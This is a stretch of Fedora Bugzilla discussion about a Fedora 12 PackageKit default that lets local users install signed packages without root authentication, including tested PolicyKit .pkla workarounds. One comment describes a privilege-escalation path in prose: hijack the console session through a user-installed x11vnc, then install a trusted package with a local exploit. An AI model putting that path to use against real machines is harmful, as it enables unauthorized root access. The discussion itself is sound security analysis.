(In reply to comment #8) > *You missed the "in my opinion" line in your reply.* hmmmmm ... (In reply to comment #8) > It's not insecure. 'You missed the "in my opinion" line in your reply.' (In reply to comment #8) > this is the "desktop" spin, not the "server" spin. 'You missed the "in my opinion" line in your reply.' (In reply to comment #9) > Admins can *trivially* change the default 'You missed the "in my opinion" line in your reply.' (In reply to comment #15) > You can use a *simple* pkla file if you want to change > the default. 'You missed the "in my opinion" line in your reply.' (In reply to comment #39) > the admin can *easily* change the defaults. 'You missed the "in my opinion" line in your reply.' (In reply to comment #40) > It's a *much easier* exploit to create a > malicious gdm3 package that obsoletes gdm2 and ship it as an update, that gets > installed automatically. 'You missed the "in my opinion" line in your reply.' (In reply to comment #40) > You either trust the fedora repos or you don't. 'You missed the "in my opinion" line in your reply.' (In reply to comment #140) > it's *likely* they are using "Fedora Desktop Spin" for a non-desktop use case. 'You missed the "in my opinion" line in your reply.' (In reply to comment #140) > but then we destroy the usability of the system, and make > it unusable. 'You missed the "in my opinion" line in your reply.' (In reply to comment #152) > there are other, *easier*, ways of rooting the system. 'You missed the "in my opinion" line in your reply.'
I dont see the FC developers open to debate or simple talking about this issue. Have you merge the marketing are with development? The FC project doesn't seem to have a security assistance...
Fedora is a community project and not a company. It doesn't have a marketing department.
Yes, sorry, I forgot the 'In my opinion it seems like...' at the beginning of that sentence.
If it is only developers ... then they are the marketers. They represent the product to the world via their attitudes and quality of work. They are also then customer care, and their attitudes will help people decide whether they want to use their product or not. Also ... future companies may look at responses to problems with a product, to see how the candidate will respond in their team environment. Marketing exists every where ... we all are marketers of at least ourselves.
(In reply to comment #163) > Fedora is a community project and not a company. It doesn't have a marketing > department. But Fedora is run by Red Hat isn't it? I mean, around half of the commenters on this bug are @redhat.com folks. It's on a redhat.com url... there are hidden comments by redhat.com folks that the community can't see. And just to reassure us (or lull us into taking off our tinfoil) you have @redhat folks telling us there is no conspiracy about this. Can't fedora just borrow a redhat marketer now and then?
(In reply to comment #163) > Fedora is a community project and not a company. It doesn't have a marketing > department. http://fedoraproject.org/wiki/Marketing
I think this very off topic for this bugzilla but I will clarify just once. Fedora is made up of a community of volunteer and Red Hat developers and some of us including me are part of Red Hat but remain volunteers in the Fedora community. RHEL discussions are sometimes private in bugzilla but Fedora discussions are not (with exception of undisclosed security issues). Fedora can and does borrow Red Hat folks to help out now and then but doesn't have a separate marketing department. The marketing team in Fedora is mostly volunteers. If you want further information, feel free to have a discussion outside of this bug report. Thanks.
(In reply to comment #168) > I think this very off topic for this bugzilla but I will clarify just once. Are you intentionally being obtuse about this? The point clearly is that despite so many voices being raised from within the Fedora user community (and so many votes), nothing is being done about it so far apart from a workaround. Why is there no comment from the Fedora developer about rolling back this change? That is the point really, isn't it?
As has been noted many times already, FESCo, the engineering steering committee of the Fedora Project will be discussing this in their next meeting tomorrow. The ticket number is at https://fedorahosted.org/fesco/ticket/277 Everyone will just have to be patient till then.
In my opinion, allowing local users to install packages without root authentication is not an appropriate default setting. This is not to say that having the option to do so is not without its merits since some users would rather not have to enter the root password everytime. However, there are times when a local user should not be allowed to install a package even on a standalone desktop, e.g. parents or teachers may not want their children or students to be able to use some software packages. The solutions I propose are either: 1) Default to requiring the root password as it was in F-11. The PackageKit GUI could be modified to allow a user who has been autenticated with the root password to change the setting for whether or not to allow all users to install packages without requiring future root authentication. This keeps the default setting in line with long accepted best practices but allows less experience users the ability to change the setting to be more user freindly without having to manually edit a file. or 2) Modifiy Packagekit to base installation privledges on membership in one or more groups. This would allow the administrator the ability to grant install privledges to some local users but not to others. By default root and equivalents should be the only member of these groups, but the GUI tools for managing groups could be used to easily grant membership to others.
(In reply to comment #171) > In my opinion, allowing local users to install packages without root > authentication is not an appropriate default setting. I think that at over 170 comment. This sentiment is fairly well covered, and all of us who feel this way need not comment as such.
(In reply to comment #166) > (In reply to comment #163) > > Fedora is a community project and not a company. It doesn't have a marketing > > department. > > But Fedora is run by Red Hat isn't it? I mean, around half of the commenters on > this bug are @redhat.com folks. It's on a redhat.com url... there are hidden > comments by redhat.com folks that the community can't see. And just to reassure > us (or lull us into taking off our tinfoil) you have @redhat folks telling us > there is no conspiracy about this. > > Can't fedora just borrow a redhat marketer now and then? I use Fedora not only for low-end file servers but also as a preview to the enhancements (and pitfalls) of the next version of the RHEL product which we use for mission-critical applications. As I understand it, Fedora is a testbed for RHEL and serves that purpose very well (frequent revisions, cutting edge stuff). I agree the 2 products are intertwined... when I login to redhat.com, "Fedora" is an option on the main menu for me. That said, I think this is an example of why we have Fedora in the first place. A change which affects many of us wasn't obvious, and we are working to make our voices heard to hopefully steer the results of this issue for what we believe is its betterment. Removing my tinfoil hat, I'm sure no one "snuck" this in, it's probably a matter of not realizing or weighing the consequences of the decisions which led up to this change. Some devs responded hastily which is regrettable but I think because so many people have provided the necessary background and expressed their thoughts that anyone regardless of opinion should be able to understand the issue. I believe the decision to roll this back as a security update will happen. I've trusted Red Hat and the Fedora team long enough (I started using Red Hat 5.2) and they have proven themselves competent many times over. The mistake will be repaired and we can then thank them for listening to our input. What makes this a great product is the community's ability to express opinions and see results.
(In reply to comment #173) > Removing my tinfoil hat, I'm sure no one "snuck" this in... One certainly hopes so. However, the Fedora developer assigned to this bug, clearly thinks this is not a bug. To the extent of closing it and it having to be re-opened. He very clearly is of the opinion that the surface-area exposed is comparable to that of allowing a USB file-system to be auto-mounted by the user. This is simply not true.
(In reply to comment #174) > (In reply to comment #173) > > Removing my tinfoil hat, I'm sure no one "snuck" this in... > > One certainly hopes so. However, the Fedora developer assigned to this bug, > clearly thinks this is not a bug. To the extent of closing it and it having to > be re-opened. > > He very clearly is of the opinion that the surface-area exposed is comparable > to that of allowing a USB file-system to be auto-mounted by the user. > > This is simply not true. Right, Mr. Hughes' ideology is as apparent as any of the rest of ours. I remember that I brought up a concern on the PackageKit mailing list, I think it was around the release of Fedora 9, in which I asked for one of two proposed solutions to be implemented to address a similar concern. The problem I saw was that the authentication dialog checkbox to "always remember" (or however it is worded) defaulted to checked, but the user's preference was only remembered if they left it checked! I proposed that either the default should be changed to unchecked, since anyone who opted to "remember" would never have to see the screen again, or the unchecked selection be remembered, since those who opt-out of that functionality should not have to opt-out every single time they install a package, because eventually they would probably forget, and then it wasn't so easy to figure out how to undo that change (besides also being redundant for them to be asked the same question every time). Either of these suggestions, I believed, would be a reasonable solution that would satisfy anyone. But to say that Mr. Hughes was "resistant" to the idea would be more than a small understatement! The thread of discussion started much the same way as at the top of this bug report. Mr. Hughes is dismissive of anyone who has a different security perspective, and made it clear that it was his intention to push people to follow his ideology, even if that was by nagging them until they either give in or forget to opt-out. It went on like that for a while, and I believe (but am not 100% sure I'm remembering the right guy), that, like now, Mr. Zeuthen was joined at the hip with Mr. Hughes in contending the issue. It wasn't until a third big man finally stepped in and basically asked "why the hell not?" that the other two finally agreed. Whether the change was "snuck in" may be debatable, and certainly not provable with the current information available that I am aware of, but given my past experience with Mr. Hughes and (I think it was) Mr. Zeuthen, I wouldn't rule out that these changes were made in "collusion" in order to push users into following their ideology. While Mr. Zeuthen removes the one functionality, Mr. Hughes is suddenly able to say, "well, sorry you feel that way, but I can't even offer the option anymore ... just have to choose the default," and because so many users will want to have the setting remembered, there is likely to be pressure to keep Mr. Hughes preferred default since he "can't" offer the option that was previously available. Both men are obviously very talented and are a great benefit to the community, but if they're working against the community, that's a problem.
This is a bug report not a forum. Please limit comments to the technical discussion of this bug report. TK009 --- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
(In reply to comment #176) > This is a bug report not a forum. Please limit comments to the technical > discussion of this bug report. Technically, the bug is (literally) developer's ideology.
As TK009 as said this is not the proper forum for this discussion as this is a bug report. I would ask that anyone who has any further comments on this issue to start a thread on the appropriate Fedora mailing list. This topic is going to be on FESCO's agenda for tomorrow and they will make the final decision in regards to this issue. I also ask that those who have made their comments private to open them up. This is Fedora and transparency is very important to the community. Steven M. Parrish KDE & PackageKit BugZapper
(In reply to comment #135) > I have not seen this statement from comment #108 refuted clearly: > > "There are also many situations (like x11vnc) where one can "fool" PolicyKit > into thinking that a remote user is at the console." > > Clearly the comment #108 is either right about this or not. > In view of these renaming actions, could someone please shed some further > factual light on this? I made the original comment, and I'll be happy to explain. In keeping with Steven's request, the following discussion is technical. The attack scenario is like this, and it is an *extremely* reasonable scenario. Suppose you are logged in at the physical console, and an attacker on the internet (doesn't matter who or how) somehow obtains your login credentials, like your password or ssh key. Under previous versions of Fedora, they can do everything you can do, but they can't get root unless they escalate their privileges further. (It's true that, under certain other distributions, knowledge of the user's own password is enough by default to use sudo, but Fedora is not configured this way by default. Anyway, everything here also applies to the ssh key scenario, which has actually been the method of compromise in several high profile incidents in the past.) The behavior mentioned in this bug (and it is a bug, a rather severe one at that ... oops, sorry, ok back to technical details) introduces an entirely new attack vector for the attacker to exploit to obtain root. Namely, the attacker can install a copy of x11vnc (this does NOT require root privileges; a copy of the binary in the users' home directory is enough), and access the logged-in user's local console from any remote host via x11vnc (plus ssh tunneling as appropriate to circumvent firewalls). In case you are not aware of x11vnc, the entire purpose of the program is to allow a remote vnc client to manipulate the local console desktop, as if the remote user were at the console. From there, it is easy to figure out how the rest of the attack goes: simply find ANY signed package in ANY configured repository that has ANY local exploit, and exploit it. What I described above is only one possible attack, and it took me all of 5 minutes to conceive it. There are certainly others. The problem is that, no matter how much Richard Hughes and his cohorts insist otherwise, it is simply NOT TRUE that only physical console users can manipulate the console. Since this key assumption is completely and utterly invalid, their whole argument in defense of this change falls apart. There are more comments that I want to add, but they are not technical, and not kind, so I think I'll stop here.
(In reply to comment #30) > Instead, just tell people to create a .pkla file - see the pklocalauthority man > page for how that works including examples and so forth. From the command line > it would look like > > # cat > /var/lib/polkit-1/.../myfile.pkla << EOF > <filecontents> > EOF > > David What happened to the frontend Authorization found on System->Preferences (Gnome desktop)?
@David Jao, refer to https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01330.html You don't have to rely on anybody's word. Just go ahead and run a VNC session and test this. @Luya, refer to https://www.redhat.com/archives/fedora-desktop-list/2009-October/msg00043.html
I just wanted to highlight a couple of issues here to make sure they make it into the fesco discussion: 1), we can't (easily) 'revert' this decision. The policy that F11 used, which requested authentication one time for each user and then (by default) stored it forever, is no longer available; that kind of stored authentication policy was removed from PolicyKit 1 on the basis that it's a bad design. Comment #141 contains a proposal from Kevin Kofler for how to recreate this mechanism with PolicyKit 1, but it's substantially more complex than a simple policy change. 2), on the theoretical convert-remote-code-execution-vuln-into-local-root-vuln attack, it's important to note that this is equally possible in many circumstances in F11 anyway. As noted, by default, F11 retains authentication for PackageKit installation permanently. So if the theoretical remote code execution vulnerability were to be used against a Fedora 11 user who had ever authenticated to install packages, it would be just as theoretically possible for it to install a vulnerable 'trusted' package in that situation as it is possible in F12. The size of this theoretical exposure is not massively greater in F12 than it is in F11. I don't think there's ever been a proof-of-concept for this theoretical attack, FWIW. (a corollary to this is it may make sense for PackageKit to check whether a newer version of a 'trusted' package is available in an update repository, and in that situation refuse to consider the older package 'trusted'. that would seem a sensible defence mechanism regardless of this particular issue). -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
re comment #179, as per my comment #182 above, it's not entirely accurate to say the possibility you present is 'entirely new'. -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
(In reply to comment #182) > 2), on the theoretical convert-remote-code-execution-vuln-into-local-root-vuln > attack, it's important to note that this is equally possible in many > circumstances in F11 anyway. As noted, by default, F11 retains authentication > for PackageKit installation permanently. So if the theoretical remote code > execution vulnerability were to be used against a Fedora 11 user who had ever > authenticated to install packages, it would be just as theoretically possible > for it to install a vulnerable 'trusted' package in that situation as it is > possible in F12. The size of this theoretical exposure is not massively greater > in F12 than it is in F11. I don't think there's ever been a proof-of-concept > for this theoretical attack, FWIW. I've never used (and probably never will use, though not because of this) PackageKit, so on F11 that vulnerability never existed (for me). F12's default PackageKit policy introduces a vulnerability that I would never have exposed myself to under (my) normal use.
(In reply to comment #181) > @David Jao, refer to > > https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01330.html > > You don't have to rely on anybody's word. Just go ahead and run a VNC session > and test this. Rahul, The link you posted, far from refuting my claim, actually reinforces it. <Oxf13> hrm, in the world of PolicyKit and ConsoleKit, does a VNC login look like a "console" login for the sake of policy? <hughsie> if you log in, then start remote desktop, and then allow other users to connect then it does Which is exactly the scenario I described, except that the attacker can "start remote desktop" by himself (Yes, I have checked this. Not only have I checked this, I use PackageKit in this manner daily.)
(In reply to comment #183) > re comment #179, as per my comment #182 above, it's not entirely accurate to > say the possibility you present is 'entirely new'. As per #184 above, it is actually a new attack vector in many situations. Also, I find the defense of "it's already insecure, let's make it more insecure" to be incredibly weak ... yeah yeah, non-technical, I know.
(In reply to comment #185) > (In reply to comment #181) > > @David Jao, refer to > > > > https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01330.html > > > > You don't have to rely on anybody's word. Just go ahead and run a VNC session > > and test this. > > Rahul, > > The link you posted, far from refuting my claim, actually reinforces it. Precisely my point. Richard Hughes hasn't refuted the claims you claim he has.
> that kind of stored authentication policy was removed from PolicyKit 1 on the > basis that it's a bad design And this is a completely braindead regression in PolicyKit 1. Surely it's "so much more secure" to just blanket give out permissions instead. Haha. Removing something without considering the usecases and WHY this has been used in those usecases is really silly (and so I'm also really unhappy with davidz's dismissive reaction to this issue). That said, this stupidity can and should be worked around at application (i.e. PackageKit) level. What we can do is to quickly issue a security update which just completely locks this down (i.e. always prompts for the root password) first, then add the possibility to retain authorization as an enhancement update later. The tools we used up to F8 always prompted for the password too, so it's not like this is an impossibility (though it is clearly not ideal, I can see very well why we want to make this simpler, but requiring no authentication at all is definitely not the proper solution).
comment #186: it's not a 'defence', I'm not defending or attacking this change in this discussion. I'm simply trying to ensure as accurate as possible an evaluation of the change and its potential impacts. -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
(In reply to comment #187) > Precisely my point. Richard Hughes hasn't refuted the claims you claim he has. In that case, I am indeed wrong about Richard Hughes, but then it means that Richard Hughes *knew about this attack* and *supported the change anyway*, which to me is far worse than what I originally accused him of. Well, I have nothing more to contribute really. We'll find out on Friday whether the change is reversed.
(In reply to comment #181)> > @Luya, refer to > > https://www.redhat.com/archives/fedora-desktop-list/2009-October/msg00043.html Than you, Rahul. I saw this note: http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html brings clarification. Not sure if it is possible to assign policiy to for specific user to install specific package. A better documentation shoul be included for that scenario,
@Luya, it is already included. read man pklocalauthority and related man page include man 8 polkit. You can set different policies for different users.
So if and when any of the hundreds of Fedora packagers goes rogue, he just sneaks in an intentional local exploit in disguise, informs his pals, and then they and their granny have root access to all machines they have a local account - do I understand this correctly?
OK, comments aside... when will the bug fix for this problem be available?
(In reply to comment #193) > So if and when any of the hundreds of Fedora packagers goes rogue, he just > sneaks in an intentional local exploit in disguise, informs his pals, and then > they and their granny have root access to all machines they have a local > account - do I understand this correctly? Assuming that scenario, that will be considered criminal because the action is intentional by those fictive Fedora rogue packagers. The policy is for packagekit as single desktop user not yum itself that still requires root access. It is only by adding more users policy needs to be manually set. I think it is possible to allow those additional users to only do limited that which is the job of administrator. Now that I fully understood the whole topic, I think the documentation about those details was missing until now, see: http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html.
(In reply to comment #194) > OK, comments aside... when will the bug fix for this problem be available? Answered here many times. https://bugzilla.redhat.com/show_bug.cgi?id=534047#c170
To go back to a point that is perhaps getting drowned out: this isn't just a security issue. The assumption that PackageKit existing means that this is a desktop installation is wrong, as is the assumption that all the local users of the machine are competent enough to install software is also wrong. The default should be secure, just like we use selinux by default. If the overwhelming opinion is that is intended behaviour, then several things needs to happen: 1. This change needs to be consistent: all tools should require the same level of authentication to do the same thing, whether it be yum, rpm or whatever that pirut thing is now called. 2. The change is wide ranging, and a huge departure from years of known behaviour. It needs to be explained in first boot, perhaps with an opt in, perhaps by choosing a profile for the machine "desktop machine", "server", etc. 3. If we allow users to choose profiles, we need to clearly explain what each of these profiles allow and do not allow, *and allow the sys admin to easily switch between profiles* I don't see any of this happening in F12, so I vote to revert the change or disable the command not found plugin until it works properly.
(In reply to comment #195) > (In reply to comment #193) > > So if and when any of the hundreds of Fedora packagers goes rogue, he just > > sneaks in an intentional local exploit in disguise, informs his pals, and then > > they and their granny have root access to all machines they have a local > > account - do I understand this correctly? > > Assuming that scenario, that will be considered criminal because the action is > intentional by those fictive Fedora rogue packagers. > > The policy is for packagekit as single desktop user not yum itself that still > requires root access. It is only by adding more users policy needs to be > manually set. I think it is possible to allow those additional users to only do > limited that which is the job of administrator. > > Now that I fully understood the whole topic, I think the documentation about > those details was missing until now, see: > http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html. Note that Fedora only has single user setting on post installation (First boot). What is unfortunately was probably the lack of testday for that new PolicyKit so users should not be caught off-guard.
(In reply to comment #196) > (In reply to comment #194) > > OK, comments aside... when will the bug fix for this problem be available? > > Answered here many times. > > https://bugzilla.redhat.com/show_bug.cgi?id=534047#c170 That is not a fix. That is a work around. When will RPMs be available to fix this bug?
> There's nothing to discuss here. Your problem is that pretending asking for > root authentication for *local* users in *active* sessions... when installing > *trusted* software adds security is... well.. only a sign of dogma, snakeoil > and ignorance when it comes to providing a secure system. The problem is that non-priviliged user can, accidentally or intentionally, cause /var partition overflow, abuse package manager or lock a database previnting it from root intervention. The policy that unpriviliged used cannot affect any part of the system except his /home catalor is violated by this decision. Please, consider a public discussion of that change!
comment #199: when it's decided that the default policy should be changed. If that happens. See, again, the bit about how this is being discussed at tomorrow's FESco meeting, which is where such a decision would be taken. -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
I just tried the instructions in the RN (http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html) but it still allowed me to install a package without providing any authentication. Can someone verify these latest instructions, please?
(In reply to comment #202) > I just tried the instructions in the RN > (http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html) > but it still allowed me to install a package without providing any > authentication. Can someone verify these latest instructions, please? Try to use a third-party package and see if authentification will appear.
(In reply to comment #203) > (In reply to comment #202) > > I just tried the instructions in the RN > > (http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html) > > but it still allowed me to install a package without providing any > > authentication. Can someone verify these latest instructions, please? > > Try to use a third-party package and see if authentification will appear. Yep, I was able to install a package from the RPM Fusion repo without authenticating.
> Try to use a third-party package and see if authentification will appear. That's not the point. The point of the instructions are that they should make PackageKit ask for authorization before installing ANY package. So if you can install anything without a prompt, the instructions are not working.
So the Release Notes (and Security Guide) are missing the very last line. I changed my file and rebooted and was still able to install a font using PackageKit without authenticating. I'm using: [NoUserSignedInstall] Identity=unix-user:* Action=org.freedesktop.packagekit.package-install ResultAny=no ResultInactive=no ResultActive=auth_admin_keep and that file is located at: /var/lib/polkit-1/localauthority/20-org.d So the fix is not working.
it's already been pointed out that the auth_admin_keep policy no longer exists in PK 1. -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
So it should be just auth_admin instead? This recently got edited in the instructions, apparently incorrectly. (What has been pointed out doesn't exist anymore is auth_admin_keep_always, but I guess auth_admin_keep was removed too, there's just one kind of auth_admin now.)
as I understand it from davidz/hughsie, yeah, that's the current state, the keep methods are all gone. i'm sure they'll correct me if i'm wrong... -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
Confirming adding the following doesn't working: To file: /var/lib/polkit-1/localauthority/20-org.d/anythingyouwant [NoUserSignedInstall] Identity=unix-user:* Action=org.freedesktop.packagekit.package-install ResultAny=no ResultInactive=no Temporary work-around until the real long-term solution is posted: pklalockdown --lockdown org.freedesktop.packagekit.package-install to remove this lockdown run: pklalockdown --remove-lockdown org.freedesktop.packagekit.package-install This works instantly, no reboot needed. However, this method is said to be getting removed in the next version.
So, because the auth_admin_keep* methods were considered somewhat insecure and removed, PackageKit just decided to not bother with authorization at all? Following this logic, we might as well make passwordless login and passwordless sudo the default, since passwords are somewhat insecure.
(In reply to comment #205) > > Try to use a third-party package and see if authentification will appear. > > That's not the point. The point of the instructions are that they should make > PackageKit ask for authorization before installing ANY package. So if you can > install anything without a prompt, the instructions are not working. Any signed package from that trusted repository to be precise. Try to use a package on which you have not imported key from repository or package external from those trusted repository. (In reply to comment #204) > (In reply to comment #203) > > (In reply to comment #202) > > > I just tried the instructions in the RN > > > (http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html) > > > but it still allowed me to install a package without providing any > > > authentication. Can someone verify these latest instructions, please? > > > > Try to use a third-party package and see if authentification will appear. > > Yep, I was able to install a package from the RPM Fusion repo without > authenticating. Because you have trusted RPM Fusion having already imported its key thus the policy is correct. Now try to install package from repository that has not its imported key or a package external from trusted repository.
You are still missing the point. Installing an unsigned package ALREADY requires admin authentication! The point of the policy change documented in the release notes is to make installing SIGNED packages require admin authentication, as opposed to the default policy which is exactly what you describe and what this bug is about!
luya (comment #212), you seem to be confused. People are testing the published workaround which is intended to change this policy so that 'trusted' package installation is *NOT* done without authentication. the problem they're encountering is that the change advised in the release notes does not seem to work. chris (comment #211), no, that's a misunderstanding. The two are not directly related in that way. The policy change was an intentional design. The initial discussion of this change can be found at http://thread.gmane.org/gmane.comp.freedesktop.packagekit/2611 (note the date). -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
(In reply to comment #210) > Confirming adding the following doesn't working: > > To file: /var/lib/polkit-1/localauthority/20-org.d/anythingyouwant > > [NoUserSignedInstall] > Identity=unix-user:* > Action=org.freedesktop.packagekit.package-install > ResultAny=no > ResultInactive=no > > Temporary work-around until the real long-term solution is posted: > pklalockdown --lockdown org.freedesktop.packagekit.package-install > > to remove this lockdown run: > pklalockdown --remove-lockdown org.freedesktop.packagekit.package-install > > This works instantly, no reboot needed. However, this method is said to be > getting removed in the next version. Jason, the filename must be something like: 10-my-policy.pkla the .pkla is fundamental
Re: Comment #214 From Adam Williamson But "PolicyKit does not support auth_admin_keep_always anymore" was one of the excuses the maintainer used to justify the change and in any case it makes it harder to go back to the existing working policy from previous Fedora releases, so I do see this as having some relevancy.
(In reply to comment #199) > (In reply to comment #196) > > (In reply to comment #194) > > > OK, comments aside... when will the bug fix for this problem be available? > > > > Answered here many times. > > > > https://bugzilla.redhat.com/show_bug.cgi?id=534047#c170 > > That is not a fix. That is a work around. When will RPMs be available to fix > this bug? +1
(In reply to comment #215) > the filename must be something like: > > 10-my-policy.pkla > > the .pkla is fundamental Could you please change the instructions here then: http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html
(In reply to comment #212) > Because you have trusted RPM Fusion having already imported its key thus the > policy is correct. When you say "you", do you mean "the administrator" or "the user" trusted this repository? If the former (which should probably be the only correct behaviour), this should still not imply that a blanket permission is given to all users to install anything they want from that source.
(In reply to comment #214) > > chris (comment #211), no, that's a misunderstanding. The two are not directly > related in that way. The policy change was an intentional design. The initial > discussion of this change can be found at > http://thread.gmane.org/gmane.comp.freedesktop.packagekit/2611 (note the date). > I've looked over that thread quickly, and noted three things. 1) There's no discussion of making this the the default policy, only making it possible. 2) There's only two people commenting in the entire thread. 3) The mailing list is not a *Fedora* list.
(In reply to comment #212) > (In reply to comment #205) > > > Try to use a third-party package and see if authentification will appear. > > > > That's not the point. The point of the instructions are that they should make > > PackageKit ask for authorization before installing ANY package. So if you can > > install anything without a prompt, the instructions are not working. > > Any signed package from that trusted repository to be precise. Try to use a > package on which you have not imported key from repository or package external > from those trusted repository. > > (In reply to comment #204) > > (In reply to comment #203) > > > (In reply to comment #202) > > > > I just tried the instructions in the RN > > > > (http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html) > > > > but it still allowed me to install a package without providing any > > > > authentication. Can someone verify these latest instructions, please? > > > > > > Try to use a third-party package and see if authentification will appear. > > > > Yep, I was able to install a package from the RPM Fusion repo without > > authenticating. > > Because you have trusted RPM Fusion having already imported its key thus the > policy is correct. Now try to install package from repository that has not its > imported key or a package external from trusted repository. The policy is idiotic. There's all kinds of obscure shit in Everything that I've never even heard of and don't trust and don't want on my computer without first looking into it. Just because they happen to be in the same repository as firefox, kernel, and a couple hundred other packages with extremely wide testing exposure doesn't mean I trust them. I import the Fedora signing key so I can be reasonably confident that the http mirror I'm downloading packages from hasn't been hijacked by the Russian mafia. It does not imply that I unconditionally trust everything in the repository to not mess up my system. After getting sound working properly on my HTPC, I need my girlfriend accidentally installing pulseaudio via a browser plugin dependency through the packagekit browser plugin like I need a hole in my head. I haven't gone out of my way to make things insecure, so it's not an admin misconfiguration, and she's not an idiot, she's just not a Fedora developer intimately aware of the implications of these things, so that's not even user error. That's a bug in the default policy. If some people want a different policy, I'd be delighted to see a config tool and a firstboot screen that allows them to set this, but we should be secure by default.
(In reply to comment #218) > (In reply to comment #215) > > the filename must be something like: > > > > 10-my-policy.pkla > > > > the .pkla is fundamental > > Could you please change the instructions here then: > http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html In progress.
comment #217: you could at least try reading the replies to the comment you +1'ed. -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
(In reply to comment #211) > So, because the auth_admin_keep* methods were considered somewhat insecure and > removed, PackageKit just decided to not bother with authorization at all? > Following this logic, we might as well make passwordless login and passwordless > sudo the default, since passwords are somewhat insecure. Isn't this a great idea? We could even do away with separation of privileges altogether for F13. Then clueless desktop users wouldn't have the hassle of having to authenticate at all. That way Fedora is more user-friendly than Windows. Yay. (In reply to comment #215) "name it anything you want" from the release notes does not square with "the .pkla is fundamental". Tell you what: those who made this stupid change, put the default it back the way it should be, then you can supply as many sets of broken instructions as you like to those 5 people who want your insecure new arrangement. That this is the most voted-for bug ever by a massive margin of 295% and there have only been 4 other bugs with more than a tenth of this one's votes should be a pretty clear indication that this is wrong. It's a bug in the thought process of the maintainers, which shows up a bug in the security processes of the distro.
(In reply to comment #222) > In progress. Thank you.
Administrator(In reply to comment #219) > (In reply to comment #212) > > > Because you have trusted RPM Fusion having already imported its key thus the > > policy is correct. > > When you say "you", do you mean "the administrator" or "the user" trusted this > repository? Both with the current policy. When you have downloaded package containing repository URL, you will be asked to administration authentification (root in this example). That scenario has already installed that repository thus already installed import key thus trusted it. > If the former (which should probably be the only correct behaviour), this > should still not imply that a blanket permission is given to all users to > install anything they want from that source. I agree with that point due to the lack of documentation about that behaviour which should clarify the change.
(In reply to comment #215) > (In reply to comment #210) > > Confirming adding the following doesn't working: > > > > To file: /var/lib/polkit-1/localauthority/20-org.d/anythingyouwant > > > > [NoUserSignedInstall] > > Identity=unix-user:* > > Action=org.freedesktop.packagekit.package-install > > ResultAny=no > > ResultInactive=no > > > > Temporary work-around until the real long-term solution is posted: > > pklalockdown --lockdown org.freedesktop.packagekit.package-install > > > > to remove this lockdown run: > > pklalockdown --remove-lockdown org.freedesktop.packagekit.package-install > > > > This works instantly, no reboot needed. However, this method is said to be > > getting removed in the next version. > > Jason, > the filename must be something like: > > 10-my-policy.pkla > > the .pkla is fundamental Still didn't work. Here is my current file. [root@desk 20-org.d]# cat NoUserSignedInstall.pkla [NoUserSignedInstall] Identity=unix-user:* Action=org.freedesktop.packagekit.package-install ResultAny=no ResultInactive=no It is located at /var/lib/polkit-1/localauthority/20-org.d
Try adding the: ResultActive=auth_admin line?
> > http://thread.gmane.org/gmane.comp.freedesktop.packagekit/2611 (note the > > date). > 2) There's only two people commenting in the entire thread. Incidentally, those very same 2 people who are now responsible for this mess (David Zeuthen does not support auth_admin_keep_always in PolicyKit 1, which is one of the contributing factors to this mess, Richard Hughes is the PackageKit maintainer and thus the one who made the decision).
Okay, this works! [root@desk 20-org.d]# cat NoUserSignedInstall.pkla [NoUserSignedInstall] Identity=unix-user:* Action=org.freedesktop.packagekit.package-install ResultAny=no ResultInactive=no ResultActive=auth_admin
Release note updated. If any revisions are required, please set the "requires_release_notes" flag to "?" and edit the "Release Notes" field accordingly. All revisions will be proofread by the Engineering Content Services team. Diffed Contents: @@ -1,17 +1,8 @@ -Diffed Contents: -@@ -8,9 +8,9 @@ - Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it - anything you want) and the content should be +file must end with ".pkla" and contain: -- [NoUsersInstallAnythingWithoutPassword] +[NoUserSignedInstall] -+ [NoUserSignedInstall] +Identity=unix-user:* -- Identity=unix-user:someone;unix-user:someone_else +Action=org.freedesktop.packagekit.package-install -+ Identity=unix-user:* +ResultAny=no -- Action=org.freedesktop.packagekit.* +ResultInactive=no -+ Action=org.freedesktop.packagekit.package-install +ResultActive=auth_admin-- ResultAny=auth_admin -+ ResultAny=no -- ResultInactive=auth_admin -+ ResultInactive=no -- ResultActive=auth_admin -+ ResultActive=auth_admin_keep
I'm sorry if this has already been mentioned, I haven't read all of the 100+ posts on the mailing list and the 230+ ones here but... Have we considered implementing a simple user role mechanism? If we apply a single set of rules to all users then inevitably there are going to be conflicts. The desktop owners will say it's user unfriendly, and changing rules will have the administrators of multi-user machines say it's insecure. I think that both are right, which is why we /shouldn't/ be trying to apply the same rules to all users. We should create an "Administrators" system group and give access to members of that group to install signed packages without a password. Firstboot could setup the first user to be the initial member of the "Administrator". If you're the only user of the machine, it all works and you're happy. If the machine is going to be setup as multi-user, then only person who initially configured the machine (who we can only assume is the sysadmin) will have access unless they extend that permission to others.
